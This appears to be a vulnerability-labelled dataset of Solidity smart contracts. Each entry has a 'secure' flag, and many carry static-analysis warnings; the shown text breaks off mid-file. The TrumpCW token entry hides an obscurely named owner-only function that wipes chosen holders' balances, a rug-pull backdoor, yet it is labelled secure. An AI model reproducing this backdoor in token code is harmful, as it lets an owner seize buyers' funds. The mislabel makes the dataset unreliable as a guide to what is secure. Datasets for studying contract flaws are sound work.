files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Token.sol\" as Token;\nimport \"./ServiceRegistryConfigurableParameters.sol\" as ServiceRegistryConfigurableParameters;\n\ncontract Deposit {\n\t// WARNING Optimization Issue (immutable-states | ID: d66604a): Deposit.token should be immutable \n\t// Recommendation for d66604a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n Token public token;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5c44788): Deposit.service_registry should be immutable \n\t// Recommendation for 5c44788: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ServiceRegistryConfigurableParameters service_registry;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cc49a24): Deposit.withdrawer should be immutable \n\t// Recommendation for cc49a24: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public withdrawer;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5b71069): Deposit.release_at should be immutable \n\t// Recommendation for 5b71069: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public release_at;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6cd46e2): Deposit.constructor(Token,uint256,address,ServiceRegistryConfigurableParameters)._withdrawer lacks a zerocheck on \t withdrawer = _withdrawer\n\t// Recommendation for 6cd46e2: Check that the address is not zero.\n constructor(\n Token _token,\n uint256 _release_at,\n address _withdrawer,\n ServiceRegistryConfigurableParameters _service_registry\n ) {\n token = _token;\n\n release_at = _release_at;\n\t\t// missing-zero-check | ID: 6cd46e2\n withdrawer = _withdrawer;\n service_registry = _service_registry;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 490a1cd): Deposit.withdraw(address) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= release_at || service_registry.deprecated(),deposit not released yet)\n\t// Recommendation for 490a1cd: Avoid relying on 'block.timestamp'.\n function withdraw(address payable _to) external {\n uint256 balance = token.balanceOf(address(this));\n require(msg.sender == withdrawer, \"the caller is not the withdrawer\");\n\t\t// timestamp | ID: 490a1cd\n require(\n block.timestamp >= release_at || service_registry.deprecated(),\n \"deposit not released yet\"\n );\n require(balance > 0, \"nothing to withdraw\");\n require(token.transfer(_to, balance), \"token didn't transfer\");\n selfdestruct(_to);\n }\n}",
"file_name": "solidity_code_3519.sol",
"secure": 0,
"size_bytes": 2859
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpCW is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable cropa;\n\n constructor() {\n _name = \"TRUMP CHANGE WOLD\";\n\n _symbol = \"TrumpCW\";\n\n _decimals = 18;\n\n uint256 initialSupply = 830000000;\n\n cropa = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == cropa, \"Not allowed\");\n\n _;\n }\n\n function cepha(address[] memory mically) public onlyOwner {\n for (uint256 i = 0; i < mically.length; i++) {\n address account = mically[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_352.sol",
"secure": 1,
"size_bytes": 4365
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Utils.sol\" as Utils;\nimport \"./ServiceRegistryConfigurableParameters.sol\" as ServiceRegistryConfigurableParameters;\nimport \"./Token.sol\" as Token;\nimport \"./Deposit.sol\" as Deposit;\n\ncontract ServiceRegistry is Utils, ServiceRegistryConfigurableParameters {\n\t// WARNING Optimization Issue (immutable-states | ID: 5ee87e8): ServiceRegistry.token should be immutable \n\t// Recommendation for 5ee87e8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n Token public token;\n\n mapping(address => uint256) public service_valid_till;\n mapping(address => string) public urls;\n\n address[] public ever_made_deposits;\n\n event RegisteredService(\n address indexed service,\n uint256 valid_till,\n uint256 deposit_amount,\n Deposit deposit_contract\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 78fa4b0): ServiceRegistry.constructor(Token,address,uint256,uint256,uint256,uint256,uint256,uint256)._controller lacks a zerocheck on \t controller = _controller\n\t// Recommendation for 78fa4b0: Check that the address is not zero.\n constructor(\n Token _token_for_registration,\n address _controller,\n uint256 _initial_price,\n uint256 _price_bump_numerator,\n uint256 _price_bump_denominator,\n uint256 _decay_constant,\n uint256 _min_price,\n uint256 _registration_duration\n ) {\n require(\n address(_token_for_registration) != address(0x0),\n \"token at address zero\"\n );\n require(\n contractExists(address(_token_for_registration)),\n \"token has no code\"\n );\n require(_initial_price >= _min_price, \"initial price too low\");\n require(_initial_price <= 2 ** 90, \"intiial price too high\");\n\n token = _token_for_registration;\n\n require(token.totalSupply() > 0, \"total supply zero\");\n\t\t// missing-zero-check | ID: 78fa4b0\n controller = _controller;\n\n set_price = _initial_price;\n set_price_at = block.timestamp;\n\n changeParametersInternal(\n _price_bump_numerator,\n _price_bump_denominator,\n _decay_constant,\n _min_price,\n _registration_duration\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: dbd9819): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for dbd9819: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 873cc77): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 873cc77: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function deposit(uint256 _limit_amount) public returns (bool _success) {\n require(!deprecated, \"this contract was deprecated\");\n\n uint256 amount = currentPrice();\n\t\t// timestamp | ID: dbd9819\n require(_limit_amount >= amount, \"not enough limit\");\n\n uint256 valid_till = service_valid_till[msg.sender];\n\t\t// timestamp | ID: dbd9819\n if (valid_till == 0) {\n ever_made_deposits.push(msg.sender);\n }\n\t\t// timestamp | ID: dbd9819\n if (valid_till < block.timestamp) {\n valid_till = block.timestamp;\n }\n\n unchecked {\n\t\t\t// timestamp | ID: dbd9819\n require(\n valid_till < valid_till + registration_duration,\n \"overflow during extending the registration\"\n );\n }\n valid_till = valid_till + registration_duration;\n\t\t// timestamp | ID: dbd9819\n assert(valid_till > service_valid_till[msg.sender]);\n service_valid_till[msg.sender] = valid_till;\n\n set_price = (amount * price_bump_numerator) / price_bump_denominator;\n\t\t// timestamp | ID: dbd9819\n if (set_price > 2 ** 90) {\n set_price = 2 ** 90;\n }\n set_price_at = block.timestamp;\n\n\t\t// timestamp | ID: dbd9819\n assert(block.timestamp < valid_till);\n Deposit depo = new Deposit(token, valid_till, msg.sender, this);\n\t\t// timestamp | ID: dbd9819\n\t\t// reentrancy-events | ID: 873cc77\n require(\n token.transferFrom(msg.sender, address(depo), amount),\n \"Token transfer for deposit failed\"\n );\n\n\t\t// reentrancy-events | ID: 873cc77\n emit RegisteredService(msg.sender, valid_till, amount, depo);\n\n return true;\n }\n\n function setURL(string memory new_url) public returns (bool _success) {\n require(hasValidRegistration(msg.sender), \"registration expired\");\n require(bytes(new_url).length != 0, \"new url is empty string\");\n urls[msg.sender] = new_url;\n return true;\n }\n\n function everMadeDepositsLen() public view returns (uint256 _len) {\n return ever_made_deposits.length;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c8b55e3): ServiceRegistry.hasValidRegistration(address) uses timestamp for comparisons Dangerous comparisons block.timestamp < service_valid_till[_address]\n\t// Recommendation for c8b55e3: Avoid relying on 'block.timestamp'.\n function hasValidRegistration(\n address _address\n ) public view returns (bool _has_registration) {\n\t\t// timestamp | ID: c8b55e3\n return block.timestamp < service_valid_till[_address];\n }\n}",
"file_name": "solidity_code_3520.sol",
"secure": 0,
"size_bytes": 5750
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITokenURICustom {\n function constructTokenURI(\n uint256 tokenId\n ) external view returns (string memory);\n}",
"file_name": "solidity_code_3521.sol",
"secure": 1,
"size_bytes": 196
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\nimport \"./ITokenURICustom.sol\" as ITokenURICustom;\n\ncontract ERC721 is Ownable {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n string public name;\n\n string public symbol;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n mapping(uint256 => string) private _tokenURIs;\n\n mapping(uint256 => string[]) private _metadataLinks;\n\n mapping(uint256 => address) public customURI;\n\n mapping(uint256 => bool) public lockedURI;\n\n uint256 _tokenCounter = 0;\n\n address payable private _royaltyRecipient;\n uint256 private _royaltyBps;\n\n mapping(uint256 => uint256) private _royaltyBpsTokenId;\n\n constructor(string memory name_, string memory symbol_) {\n name = name_;\n symbol = symbol_;\n\n _royaltyRecipient = payable(msg.sender);\n _royaltyBps = 1000;\n }\n\n function supportsInterface(bytes4 interfaceId) public pure returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f ||\n interfaceId == 0x2a55205a;\n }\n\n function tokenURI(uint256 tokenId) public view returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n if (customURI[tokenId] != address(0)) {\n return\n ITokenURICustom(customURI[tokenId]).constructTokenURI(tokenId);\n } else {\n return _tokenURIs[tokenId];\n }\n }\n\n function metadataLinks(\n uint256 tokenId\n ) public view returns (string[] memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n return _metadataLinks[tokenId];\n }\n\n function setTokenURI(\n uint256 tokenId,\n string calldata tokenURI_\n ) public onlyOwner {\n require(!lockedURI[tokenId], \"URI finalised\");\n _tokenURIs[tokenId] = tokenURI_;\n }\n\n function setMetadataLinks(\n uint256 tokenId,\n string[] calldata links\n ) public onlyOwner {\n require(!lockedURI[tokenId], \"URI finalised\");\n delete _metadataLinks[tokenId];\n for (uint256 i = 0; i < links.length; i++) {\n _metadataLinks[tokenId].push(links[i]);\n }\n }\n\n function setCustomURI(\n uint256 tokenId,\n address contractURI\n ) public onlyOwner {\n require(!lockedURI[tokenId], \"URI finalised\");\n customURI[tokenId] = contractURI;\n }\n\n function lockURI(uint256 tokenId) public onlyOwner {\n require(!lockedURI[tokenId], \"URI finalised\");\n lockedURI[tokenId] = true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cf3e533): ERC721.balanceOf(address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cf3e533: Rename the local variables that shadow another component.\n function balanceOf(address owner) public view returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: balance query for the zero address\"\n );\n return _balances[owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2117c5a): ERC721.ownerOf(uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2117c5a: Rename the local variables that shadow another component.\n function ownerOf(uint256 tokenId) public view returns (address) {\n address owner = _owners[tokenId];\n require(\n owner != address(0),\n \"ERC721: owner query for nonexistent token\"\n );\n return owner;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0c1f5f7): ERC721.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0c1f5f7: Rename the local variables that shadow another component.\n function approve(address to, uint256 tokenId) public {\n address owner = ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n msg.sender == owner || isApprovedForAll(owner, msg.sender),\n \"ERC721: approve caller is not owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(uint256 tokenId) public view returns (address) {\n require(\n _exists(tokenId),\n \"ERC721: approved query for nonexistent token\"\n );\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(address operator, bool approved) public {\n _setApprovalForAll(msg.sender, operator, approved);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2a5c1dc): ERC721.isApprovedForAll(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2a5c1dc: Rename the local variables that shadow another component.\n function isApprovedForAll(\n address owner,\n address operator\n ) public view returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(address from, address to, uint256 tokenId) public {\n require(\n _isApprovedOrOwner(msg.sender, tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public {\n require(\n _isApprovedOrOwner(msg.sender, tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n _safeTransfer(from, to, tokenId, _data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal {\n _transfer(from, to, tokenId);\n require(\n _checkOnERC721Received(from, to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7950005): ERC721._isApprovedOrOwner(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7950005: Rename the local variables that shadow another component.\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view returns (bool) {\n require(\n _exists(tokenId),\n \"ERC721: operator query for nonexistent token\"\n );\n address owner = ownerOf(tokenId);\n return (spender == owner ||\n getApproved(tokenId) == spender ||\n isApprovedForAll(owner, spender));\n }\n\n function mint(address to, string calldata tokenURI_) public onlyOwner {\n _tokenCounter++;\n _mint(to, _tokenCounter);\n _tokenURIs[_tokenCounter] = tokenURI_;\n }\n\n function mintCustomUri(address to, address contractURI) public onlyOwner {\n _tokenCounter++;\n _mint(to, _tokenCounter);\n customURI[_tokenCounter] = contractURI;\n }\n\n function burn(uint256 tokenId) public {\n require(\n _isApprovedOrOwner(msg.sender, tokenId),\n \"ERC721: caller is not owner nor approved\"\n );\n _burn(tokenId);\n delete _tokenURIs[tokenId];\n delete _metadataLinks[tokenId];\n delete customURI[tokenId];\n delete lockedURI[tokenId];\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e086e3a): ERC721._burn(uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e086e3a: Rename the local variables that shadow another component.\n function _burn(uint256 tokenId) internal {\n address owner = ownerOf(tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n }\n\n function _transfer(address from, address to, uint256 tokenId) internal {\n require(\n ownerOf(tokenId) == from,\n \"ERC721: transfer from incorrect owner\"\n );\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ownerOf(tokenId), to, tokenId);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ed3b0f8): ERC721._setApprovalForAll(address,address,bool).owner shadows Ownable.owner() (function)\n\t// Recommendation for ed3b0f8: Rename the local variables that shadow another component.\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n if (to.code.length > 0) {\n try\n IERC721Receiver(to).onERC721Received(\n msg.sender,\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0d4cda5): ERC721.setRoyaltyBps(uint256) should emit an event for _royaltyBps = royaltyPercentageBasisPoints \n\t// Recommendation for 0d4cda5: Emit an event for critical parameter changes.\n function setRoyaltyBps(\n uint256 royaltyPercentageBasisPoints\n ) public onlyOwner {\n\t\t// events-maths | ID: 0d4cda5\n _royaltyBps = royaltyPercentageBasisPoints;\n }\n\n function setRoyaltyBpsForTokenId(\n uint256 tokenId,\n uint256 royaltyPercentageBasisPoints\n ) public onlyOwner {\n _royaltyBpsTokenId[tokenId] = royaltyPercentageBasisPoints;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 74e212a): ERC721.setRoyaltyReceipientAddress(address).royaltyReceipientAddress lacks a zerocheck on \t _royaltyRecipient = royaltyReceipientAddress\n\t// Recommendation for 74e212a: Check that the address is not zero.\n function setRoyaltyReceipientAddress(\n address payable royaltyReceipientAddress\n ) public onlyOwner {\n\t\t// missing-zero-check | ID: 74e212a\n _royaltyRecipient = royaltyReceipientAddress;\n }\n\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n uint256 bps;\n\n if (_royaltyBpsTokenId[tokenId] > 0) {\n bps = _royaltyBpsTokenId[tokenId];\n } else {\n bps = _royaltyBps;\n }\n\n uint256 royalty = (salePrice * bps) / 10000;\n return (_royaltyRecipient, royalty);\n }\n}",
"file_name": "solidity_code_3522.sol",
"secure": 0,
"size_bytes": 13307
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address public owner;\n address public newOwner;\n\n event OwnershipTransferred(address indexed from, address indexed to);\n\n constructor() {\n owner = msg.sender;\n emit OwnershipTransferred(address(0), owner);\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Ownable: Caller is not the owner\");\n _;\n }\n\n function transferOwnership(address transferOwner) public onlyOwner {\n require(transferOwner != newOwner);\n newOwner = transferOwner;\n }\n\n function acceptOwnership() public virtual {\n require(msg.sender == newOwner);\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n newOwner = address(0);\n }\n}",
"file_name": "solidity_code_3523.sol",
"secure": 1,
"size_bytes": 836
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nlibrary SafeERC20 {\n using SafeMath for uint256;\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender).add(\n value\n );\n callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender).sub(\n value\n );\n callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function callOptionalReturn(IERC20 token, bytes memory data) private {\n require(address(token).isContract(), \"SafeERC20: call to non-contract\");\n\n\t\t// reentrancy-events | ID: 65c3ae5\n\t\t// reentrancy-no-eth | ID: d22df96\n (bool success, bytes memory returndata) = address(token).call(data);\n require(success, \"SafeERC20: low-level call failed\");\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}",
"file_name": "solidity_code_3524.sol",
"secure": 1,
"size_bytes": 2806
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract ReentrancyGuard {\n uint256 private _guardCounter;\n\n constructor() {\n _guardCounter = 1;\n }\n\n modifier nonReentrant() {\n\t\t// reentrancy-no-eth | ID: d22df96\n _guardCounter += 1;\n uint256 localCounter = _guardCounter;\n _;\n require(\n localCounter == _guardCounter,\n \"ReentrancyGuard: reentrant call\"\n );\n }\n}",
"file_name": "solidity_code_3525.sol",
"secure": 1,
"size_bytes": 478
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ILockStakingRewards {\n function earned(address account) external view returns (uint256);\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function stake(uint256 amount) external;\n function stakeFor(uint256 amount, address user) external;\n function getReward() external;\n function withdraw(uint256 nonce) external;\n function withdrawAndGetReward(uint256 nonce) external;\n}",
"file_name": "solidity_code_3526.sol",
"secure": 1,
"size_bytes": 561
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ILockStakingRewards.sol\" as ILockStakingRewards;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"./IERC20Permit.sol\" as IERC20Permit;\n\ncontract LockStakingRewardSameTokenFixedAPY is\n ILockStakingRewards,\n ReentrancyGuard,\n Ownable\n{\n using SafeMath for uint256;\n using SafeERC20 for IERC20;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8f302f4): LockStakingRewardSameTokenFixedAPY.token should be immutable \n\t// Recommendation for 8f302f4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public token;\n uint256 public rewardRate;\n uint256 public immutable lockDuration;\n uint256 public constant rewardDuration = 365 days;\n\n mapping(address => uint256) public weightedStakeDate;\n mapping(address => mapping(uint256 => uint256)) public stakeLocks;\n mapping(address => mapping(uint256 => uint256)) public stakeAmounts;\n mapping(address => uint256) public stakeNonces;\n\n uint256 private _totalSupply;\n mapping(address => uint256) private _balances;\n\n event RewardUpdated(uint256 reward);\n event Staked(address indexed user, uint256 amount);\n event Withdrawn(address indexed user, uint256 amount);\n event RewardPaid(address indexed user, uint256 reward);\n event Rescue(address to, uint256 amount);\n event RescueToken(address to, address token, uint256 amount);\n\n constructor(address _token, uint256 _rewardRate, uint256 _lockDuration) {\n token = IERC20(_token);\n rewardRate = _rewardRate;\n lockDuration = _lockDuration;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function earned(address account) public view override returns (uint256) {\n return\n (\n _balances[account]\n .mul(block.timestamp.sub(weightedStakeDate[account]))\n .mul(rewardRate)\n ) / (100 * rewardDuration);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ba67d40): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ba67d40: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function stakeWithPermit(\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external nonReentrant {\n require(\n amount > 0,\n \"LockStakingRewardSameTokenFixedAPY: Cannot stake 0\"\n );\n _totalSupply = _totalSupply.add(amount);\n uint256 previousAmount = _balances[msg.sender];\n uint256 newAmount = previousAmount.add(amount);\n weightedStakeDate[msg.sender] = (weightedStakeDate[msg.sender].mul(\n previousAmount\n ) / newAmount).add(block.timestamp.mul(amount) / newAmount);\n _balances[msg.sender] = newAmount;\n\n\t\t// reentrancy-benign | ID: ba67d40\n IERC20Permit(address(token)).permit(\n msg.sender,\n address(this),\n amount,\n deadline,\n v,\n r,\n s\n );\n\n\t\t// reentrancy-benign | ID: ba67d40\n token.safeTransferFrom(msg.sender, address(this), amount);\n\t\t// reentrancy-benign | ID: ba67d40\n uint256 stakeNonce = stakeNonces[msg.sender]++;\n\t\t// reentrancy-benign | ID: ba67d40\n stakeLocks[msg.sender][stakeNonce] = block.timestamp + lockDuration;\n\t\t// reentrancy-benign | ID: ba67d40\n stakeAmounts[msg.sender][stakeNonce] = amount;\n emit Staked(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 468e16c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 468e16c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function stake(uint256 amount) external override nonReentrant {\n require(\n amount > 0,\n \"LockStakingRewardSameTokenFixedAPY: Cannot stake 0\"\n );\n _totalSupply = _totalSupply.add(amount);\n uint256 previousAmount = _balances[msg.sender];\n uint256 newAmount = previousAmount.add(amount);\n weightedStakeDate[msg.sender] = (weightedStakeDate[msg.sender].mul(\n previousAmount\n ) / newAmount).add(block.timestamp.mul(amount) / newAmount);\n _balances[msg.sender] = newAmount;\n\t\t// reentrancy-benign | ID: 468e16c\n token.safeTransferFrom(msg.sender, address(this), amount);\n\t\t// reentrancy-benign | ID: 468e16c\n uint256 stakeNonce = stakeNonces[msg.sender]++;\n\t\t// reentrancy-benign | ID: 468e16c\n 